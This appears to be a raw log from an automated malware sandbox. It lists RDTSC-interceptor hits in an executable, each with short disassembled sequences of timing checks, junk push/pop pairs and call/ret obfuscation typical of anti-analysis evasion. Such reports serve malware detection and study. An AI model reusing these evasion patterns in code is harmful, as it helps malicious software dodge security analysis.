Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B904D6 second address: B904E0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0698769D66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B91380 second address: B91384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B904E0 second address: B90504 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0698769D75h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d jns 00007F0698769D66h 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B91384 second address: B9138E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0699139DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B90504 second address: B9050A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9138E second address: B91400 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0699139DD3h 0x00000008 je 00007F0699139DC6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 call 00007F0699139DD4h 0x00000017 call 00007F0699139DCFh 0x0000001c mov bx, 3AC4h 0x00000020 pop edi 0x00000021 pop ebx 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push ecx 0x00000027 call 00007F0699139DC8h 0x0000002c pop ecx 0x0000002d mov dword ptr [esp+04h], ecx 0x00000031 add dword ptr [esp+04h], 00000014h 0x00000039 inc ecx 0x0000003a push ecx 0x0000003b ret 0x0000003c pop ecx 0x0000003d ret 0x0000003e push 00000000h 0x00000040 movsx ebx, di 0x00000043 xchg eax, esi 0x00000044 pushad 0x00000045 push eax 0x00000046 push edx 0x00000047 push ecx 0x00000048 pop ecx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B91400 second address: B91404 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B91404 second address: B9140E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9140E second address: B91412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B91412 second address: B91416 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9245A second address: B9245F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9245F second address: B924F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0699139DCAh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F0699139DC8h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push esi 0x0000002e call 00007F0699139DC8h 0x00000033 pop esi 0x00000034 mov dword ptr [esp+04h], esi 0x00000038 add dword ptr [esp+04h], 0000001Ah 0x00000040 inc esi 0x00000041 push esi 0x00000042 ret 0x00000043 pop esi 0x00000044 ret 0x00000045 call 00007F0699139DCCh 0x0000004a and ebx, dword ptr [ebp+122D2620h] 0x00000050 pop edi 0x00000051 push 00000000h 0x00000053 jmp 00007F0699139DD0h 0x00000058 xchg eax, esi 0x00000059 pushad 0x0000005a jmp 00007F0699139DD1h 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B93465 second address: B93469 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B953C1 second address: B9540B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F0699139DCBh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 mov ebx, dword ptr [ebp+122D37FFh] 0x00000016 push 00000000h 0x00000018 mov bx, 050Eh 0x0000001c push 00000000h 0x0000001e call 00007F0699139DD5h 0x00000023 mov edi, dword ptr [ebp+122D36AFh] 0x00000029 pop edi 0x0000002a xchg eax, esi 0x0000002b jng 00007F0699139DD4h 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9540B second address: B95411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B98578 second address: B985E1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 ja 00007F0699139DC6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d cld 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007F0699139DC8h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 00000019h 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a mov edi, dword ptr [ebp+122D2631h] 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push ecx 0x00000035 call 00007F0699139DC8h 0x0000003a pop ecx 0x0000003b mov dword ptr [esp+04h], ecx 0x0000003f add dword ptr [esp+04h], 00000017h 0x00000047 inc ecx 0x00000048 push ecx 0x00000049 ret 0x0000004a pop ecx 0x0000004b ret 0x0000004c jc 00007F0699139DC6h 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 jp 00007F0699139DC6h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B985E1 second address: B985F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0698769D73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B985F8 second address: B98602 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F0699139DC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B99665 second address: B99669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B976D7 second address: B976DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B99669 second address: B99686 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0698769D79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9881C second address: B98820 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B966B8 second address: B966C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0698769D6Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B99686 second address: B9968B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B99940 second address: B99945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9B75B second address: B9B765 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F0699139DC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9B765 second address: B9B769 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9C67A second address: B9C6D9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0699139DCCh 0x00000008 jne 00007F0699139DC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 and bx, F7C7h 0x00000018 push 00000000h 0x0000001a mov ebx, eax 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ebx 0x00000021 call 00007F0699139DC8h 0x00000026 pop ebx 0x00000027 mov dword ptr [esp+04h], ebx 0x0000002b add dword ptr [esp+04h], 00000014h 0x00000033 inc ebx 0x00000034 push ebx 0x00000035 ret 0x00000036 pop ebx 0x00000037 ret 0x00000038 jmp 00007F0699139DCEh 0x0000003d mov ebx, 7E70FB92h 0x00000042 xchg eax, esi 0x00000043 push edx 0x00000044 pushad 0x00000045 push esi 0x00000046 pop esi 0x00000047 pushad 0x00000048 popad 0x00000049 popad 0x0000004a pop edx 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f push edx 0x00000050 pop edx 0x00000051 pushad 0x00000052 popad 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA1A3E second address: BA1A48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BACCA7 second address: BACCCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0699139DD9h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F0699139DC6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BACCCD second address: BACCD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD4FE second address: BAD510 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0699139DCEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD5A8 second address: BAD5B2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0698769D66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9D8AB second address: B9D8B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F0699139DC6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9D8B6 second address: B9D8C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F0698769D66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB4632 second address: BB4656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push esi 0x00000006 jmp 00007F0699139DD9h 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB4656 second address: BB465A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB335A second address: BB3378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 jmp 00007F0699139DD2h 0x0000000e pushad 0x0000000f popad 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB3378 second address: BB337E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB337E second address: BB3382 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB3382 second address: BB3386 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB3E1A second address: BB3E29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push edi 0x00000007 pop edi 0x00000008 jbe 00007F0699139DC6h 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB425F second address: BB427E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F0698769D6Ah 0x0000000b jnp 00007F0698769D6Ch 0x00000011 jc 00007F0698769D66h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB427E second address: BB4284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B403B4 second address: B403BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB8C31 second address: BB8C3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F0699139DC6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB8C3F second address: BB8C75 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0698769D66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F0698769D80h 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007F0698769D78h 0x0000001b jno 00007F0698769D68h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB8E15 second address: BB8E1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB93E6 second address: BB93EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB93EA second address: BB9407 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0699139DCFh 0x0000000d jbe 00007F0699139DC6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB9407 second address: BB9414 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB9705 second address: BB970B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B41F72 second address: B41F79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B41F79 second address: B41F88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0699139DCBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B41F88 second address: B41FB1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0698769D78h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jp 00007F0698769D70h 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC79FC second address: BC7A12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F0699139DC6h 0x0000000a jne 00007F0699139DC6h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 popad 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC7A12 second address: BC7A2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0698769D6Dh 0x00000009 pop esi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F0698769D6Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC7A2F second address: BC7A4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F0699139DD6h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC7A4B second address: BC7A53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC63AB second address: BC63C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0699139DD1h 0x00000009 pop ecx 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC652A second address: BC6534 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6534 second address: BC6557 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F0699139DC6h 0x0000000a jmp 00007F0699139DD8h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6CB3 second address: BC6CB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6CB9 second address: BC6CBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6CBE second address: BC6CC3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6FAB second address: BC6FD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0699139DD0h 0x00000009 popad 0x0000000a push edi 0x0000000b jnl 00007F0699139DC6h 0x00000011 jmp 00007F0699139DD1h 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC713E second address: BC7144 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC7290 second address: BC7294 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC7294 second address: BC7298 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC7298 second address: BC72B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0699139DD3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC72B1 second address: BC72F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F0698769D66h 0x00000009 jmp 00007F0698769D6Eh 0x0000000e jmp 00007F0698769D73h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F0698769D74h 0x0000001b push esi 0x0000001c pop esi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC72F4 second address: BC72F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC72F8 second address: BC72FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC72FE second address: BC7310 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jns 00007F0699139DC6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E91F second address: B3E923 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E923 second address: B3E93C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F0699139DD3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E93C second address: B3E941 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E941 second address: B3E947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC60B7 second address: BC60BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC60BB second address: BC60C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC60C1 second address: BC60C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCC4E0 second address: BCC50B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F0699139DC6h 0x0000000a pop edi 0x0000000b jmp 00007F0699139DCDh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F0699139DD1h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCB389 second address: BCB393 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0698769D83h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B83FA7 second address: B83FB8 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0699139DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B83FB8 second address: B83FBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B83FBC second address: 9D1B1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 mov edi, dword ptr [ebp+122D388Fh] 0x0000000e push dword ptr [ebp+122D16C1h] 0x00000014 push esi 0x00000015 mov dword ptr [ebp+122D34C3h], edi 0x0000001b pop edx 0x0000001c call dword ptr [ebp+122D3626h] 0x00000022 pushad 0x00000023 mov dword ptr [ebp+122D1F99h], edx 0x00000029 xor eax, eax 0x0000002b add dword ptr [ebp+122D1F99h], ecx 0x00000031 mov edx, dword ptr [esp+28h] 0x00000035 mov dword ptr [ebp+122D1F99h], ecx 0x0000003b pushad 0x0000003c mov ebx, edx 0x0000003e popad 0x0000003f mov dword ptr [ebp+122D38FFh], eax 0x00000045 jmp 00007F0699139DD1h 0x0000004a mov esi, 0000003Ch 0x0000004f pushad 0x00000050 or ax, 0FD8h 0x00000055 mov dword ptr [ebp+122D1F99h], edx 0x0000005b popad 0x0000005c add esi, dword ptr [esp+24h] 0x00000060 sub dword ptr [ebp+122D1F99h], ebx 0x00000066 lodsw 0x00000068 jmp 00007F0699139DCCh 0x0000006d xor dword ptr [ebp+122D1F99h], eax 0x00000073 add eax, dword ptr [esp+24h] 0x00000077 pushad 0x00000078 and cx, 4AD3h 0x0000007d mov dword ptr [ebp+122D1F99h], eax 0x00000083 popad 0x00000084 mov ebx, dword ptr [esp+24h] 0x00000088 add dword ptr [ebp+122D1F99h], ecx 0x0000008e nop 0x0000008f jmp 00007F0699139DCDh 0x00000094 push eax 0x00000095 jc 00007F0699139DD0h 0x0000009b pushad 0x0000009c push eax 0x0000009d push edx 0x0000009e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84071 second address: B84075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84075 second address: B8407F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0699139DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
